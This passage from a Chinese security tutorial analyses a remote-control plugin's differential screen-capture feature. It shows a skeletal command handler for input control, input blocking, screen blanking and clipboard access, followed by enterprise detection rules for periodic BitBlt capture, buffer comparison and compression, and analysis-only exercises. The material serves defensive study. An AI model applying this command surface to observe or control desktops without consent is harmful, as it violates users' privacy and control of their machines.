if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case COMMAND_SCREEN_CONTROL_DIF:
// 高风险:处理远程输入控制事件。
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT_DIF:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET_DIF:
case COMMAND_SCREEN_FPS_DIF:
// 调整位深或帧率。
break;
case COMMAND_SCREEN_BLOCK_INPUT_DIF:
// 高风险:屏蔽本地输入。
break;
case COMMAND_SCREEN_BLANK_DIF:
// 高风险:黑屏状态。
break;
case COMMAND_SCREEN_CAPTURE_LAYER_DIF:
// 捕获分层窗口,扩大隐私范围。
break;
case COMMAND_SCREEN_GET_CLIPBOARD_DIF:
case COMMAND_SCREEN_SET_CLIPBOARD_DIF:
// 高风险:剪贴板读取和写入。
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
高风险不是因为“差异算法”,而是因为它和屏幕观察、输入控制、黑屏、剪贴板放在同一个会话里。
# 18. 低带宽不等于低风险
差异屏幕比全量屏幕更省流量,但风险仍然很高:
| 误解 | 正确认识 |
|---|---|
| 流量小就安全 | 小包也可能是持续桌面差异 |
| 只传变化区域就不泄露 | 变化区域常常就是用户正在操作的敏感区域 |
| 只要没有大图像包就不用管 | 还要看 GDI 采集、压缩、长连接和命令面 |
| FPS 低就没风险 | 1 FPS 也足以观察很多业务操作 |
# 19. 企业检测点

建议从以下角度建立检测:
| 层面 | 检测点 | 说明 |
|---|---|---|
| 图形 API | GetDC、GetDesktopWindow、BitBlt、CreateDIBSection | 屏幕采集基础链 |
| 内存形态 | 双缓冲、位图大小缓冲、持续比较 | 差异传输常见结构 |
| 网络形态 | 首包较大,后续小包周期出现 | 不要只按大带宽判断 |
| 压缩行为 | zlib compress | 差异块发送前仍会压缩 |
| 命令面 | FPS、黑屏、输入屏蔽、剪贴板 | 高风险远程控制能力 |
| 隐私范围 | 分层窗口和光标状态 | 可能泄露更多桌面上下文 |
| 合规侧 | 用户确认、会话提示、授权记录 | 合法远程协助必须具备 |
可以设计这样的关联逻辑:
- 同一进程调用
BitBlt周期采集桌面。 - 同一进程创建大块位图内存并进行重复比较。
- 同一进程调用 zlib 压缩。
- 同一连接持续发送小包或中等大小包。
- 出现剪贴板读取、输入屏蔽或黑屏行为。
前 4 项满足时已经应重点关注;叠加第 5 项时应提升风险等级。
# 20. 合法练习题
- 不运行插件,只阅读源码,画出
sendNextScreen -> getNextScreen -> Compare -> compress -> Send的调用链。 - 用自己的话解释
offset + length + bytes为什么能减少传输量。 - 画出
TOKEN_NEXTSCREEN_DIF解压后的缓冲区结构:光标位置、光标类型、差异块。 - 说明主控端
DrawNextScreenDiff如何把差异块写回m_lpScreenDIB。 - 比较第 31 课高速屏幕和第 32 课差异屏幕,列出 5 个相同检测点和 3 个不同检测点。
- 设计一条企业规则:低带宽长连接叠加周期
BitBlt时触发屏幕采集告警。 - 站在合法远程协助产品设计者角度,写出差异屏幕功能必须具备的用户提示、授权和日志要求。
# 21. 本课小结
差异屏幕的核心是“首帧全量、后续差异”。插件端通过双缓冲保存上一帧和当前帧,再由 Compare 输出 offset + length + bytes 形式的变化块,最后压缩发送;主控端先用首帧建立完整 m_lpScreenDIB,再把每个差异块按 offset 写回这块完整 DIB,从而持续组装出完整屏幕画面。它确实降低了带宽,但没有降低隐私和远程控制风险。防御侧要把周期性 BitBlt、双缓冲比较、压缩、小包长连接、剪贴板和控制命令关联起来识别。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言